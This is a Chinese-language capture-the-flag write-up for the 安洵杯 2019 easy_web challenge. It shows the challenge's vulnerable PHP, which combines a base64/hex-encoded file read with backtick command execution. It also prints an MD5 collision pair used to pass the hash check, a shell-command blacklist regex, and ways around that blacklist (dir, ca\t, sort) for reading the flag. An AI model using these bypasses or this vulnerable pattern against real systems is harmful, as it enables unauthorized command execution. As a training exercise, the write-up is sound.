安洵杯 2019_easy_web
进入后页面显示如下 查看源代码: 发现一长串base64编码的数据,然后进行解码发现是png图片的内容信息。地址.../index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd= 对TXpVek5UTTFNbVUzTURabE5qYz0进行两次base64解密,一次hex2bin解密得到555.png。
想必上面显示的那张图片就是555.png,然后源代码里面显示的数据就是该图片的内容,即在参数img中输入一次hex2bin,两次base64编码的文件名,就会在源码中返回它内容的base64值。尝试对index.php编码得到解密后源码如下:
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string
)$_POST['a'] !== (string
)$_POST['b
'] && md5($_POST['a
']) === md5($_POST['b'
])) {
echo `
$cmd`
;
} else {
echo ("md5 is funny ~");
}
}
?>
<html
>
<style
>
body
{
background
:url(./bj
.png
) no
-repeat center center
;
background
-size
:cover
;
background
-attachment
:fixed
;
background
-color
:
}
</style
>
<body
>
</body
>
</html
>
上述代码首先判断img和cmd参数是否为空,为空是跳转到原先的首页,不为空,然后判断img参数,和我们之前分析的一样,解码后读取文件,然后正则过滤其中非字母数字字符,并判断img中不含flag后,将该文件内容的base64编码放到源码相应位置。当然,这个主要可以帮助我们得到index.php的源码。然后判断cmd,过滤其中很多指令,然后进行MD5的一个判断,如果绕过成功,则会执行指令。
强绕过字符型md5
if ((string
)$_POST['a'] !== (string
)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `
$cmd`
;
这里使用一对特殊的值:
a
=%4d
%c9
%68%ff
%0e
%e3
%5c
%20%95%72%d4
%77%7b
%72%15%87%d3
%6f
%a7
%b2
%1b
%dc
%56%b7
%4a
%3d
%c0
%78%3e
%7b
%95%18%af
%bf
%a2
%00%a8
%28%4b
%f3
%6e
%8e
%4b
%55%b3
%5f
%42%75%93%d8
%49%67%6d
%a0
%d1
%55%5d
%83%60%fb
%5f
%07%fe
%a2
&b
=%4d
%c9
%68%ff
%0e
%e3
%5c
%20%95%72%d4
%77%7b
%72%15%87%d3
%6f
%a7
%b2
%1b
%dc
%56%b7
%4a
%3d
%c0
%78%3e
%7b
%95%18%af
%bf
%a2
%02%a8
%28%4b
%f3
%6e
%8e
%4b
%55%b3
%5f
%42%75%93%d8
%49%67%6d
%a0
%d1
%d5
%5d
%83%60%fb
%5f
%07%fe
%a2
命令执行 首先因为过滤了ls,可以使用dir查看目录 没有发现flag,查看根目录。 然后读取flag。 方法一:使用ca\t flag这样绕过,虽然源码过滤了\,但是这里还是可以使用。 方法二:没有过滤sort
sort命令:sort将文件的每一行作为一个单位,相互比较,比较原则是从首字符向后,依次按ASCII码值进行比较,最后将他们按升序输出。